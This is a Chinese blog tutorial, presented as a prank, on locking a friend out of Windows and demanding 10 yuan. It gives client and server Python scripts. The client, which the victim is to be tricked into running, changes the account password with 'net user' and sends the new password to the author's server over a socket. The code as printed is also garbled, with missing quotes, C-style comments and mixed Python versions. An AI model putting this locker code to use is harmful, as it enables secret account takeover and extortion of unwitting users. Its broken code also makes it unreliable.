用python來更改小夥伴的windows開機密碼,不給10塊不給開機

今天教大家用python腳本來控制小夥伴們windows電腦的開機密碼。沒錯就是神不知鬼不覺,用random()隨機生成的密碼,只有你自己知道哦~

代碼呢分兩部分,一部分是client端跟server端兩個。你只需要想辦法讓小夥伴運行你的client端腳本就OK啦。不過在此之前你一定要在你的電腦上運行server端哦~這樣子的話,client端會在你的小夥伴電腦上隨機生成一個密碼然後通過socket發給server端也就是發給你哦~

下面放代碼,順便加點注釋。

client端代碼:

# client.py: //文件名

import socket //導入用到的模塊

import getpass

import subprocess

import random

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) //創建socket實例

client.connect((10.0.0.1, 44444)) //連接server端IP地址/埠按你自己實際情況來

user = getpass.getuser() //獲取計算機用戶名

psd = //給一個psd變數(密碼)為空

for j in range(1, 9): //生成1-9的隨機數

m = str(random.randrange(0, 10))

psd = psd + m

subprocess.Popen([net, User, user, psd]) //在本地執行(類似於cmd命令)

client.send(psd.encode(utf-8)) //將密碼發送給server端

back_msg = client.recv(1024)

client.close() //關閉socket

print psd //避免出現差錯忘記密碼 先在本地列印

server端代碼:

# server.py //文件名

import socket //導入socket

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) //創建socket

server.bind((10.0.0.1, 44444)) //綁定IP/埠

server.listen(5) //監聽

print(starting....)

conn, addr = server.accept() //連接

print(conn)

print(client addr, addr)

print(ready to recv the passwd...)

client_msg = conn.recv(1024)

print(client passwd changed: %s % client_msg)

conn.send(client_msg.upper())

conn.close()

server.close()

OK代碼寫完後我們開始運行一下程序(推薦在虛擬機下運行,萬一出個差錯搞不好真忘記密碼!切記切記)~

首先先在我的Linux上運行server端,來等待接收來自client端傳過來的密碼。

運行server.py腳本

然後windows運行client端,它會顯示生成的密碼

(前提是在cmd命令行下運行否則你雙擊一下會消失)

cmd下運行

現在再註銷或者是重啟輸入原始密碼就會發現密碼錯誤,怎麼密碼呢也已經發到我們的server端了。

server收到密碼

如果你現在想改回密碼的話,千萬不要關機 打開cmd輸入「net user 你的用戶名 你要改變的密碼」 然後回車就ok了。

好啦,本次文章就寫到這啦。大家對什麼內容感興趣歡迎給鄙人留言,鄙人會盡量照顧到大家的口味的~

大家如果覺得文章不錯,可以在評論區留言哦~~

另外大家有問題都可以在評論區提問,任何問題我都會為大家解答的。


推薦閱讀:

從現在就動手學python入門數據分析
在64位CentOS 6.5系統上編譯安裝32位Python 2.7
《機器學習實戰》學習總結(一)——k近鄰演算法(kNN)
GeoPython,用於地質學的日常工作的 Python 工具集

TAG:Python | 互聯網 | python爬蟲 |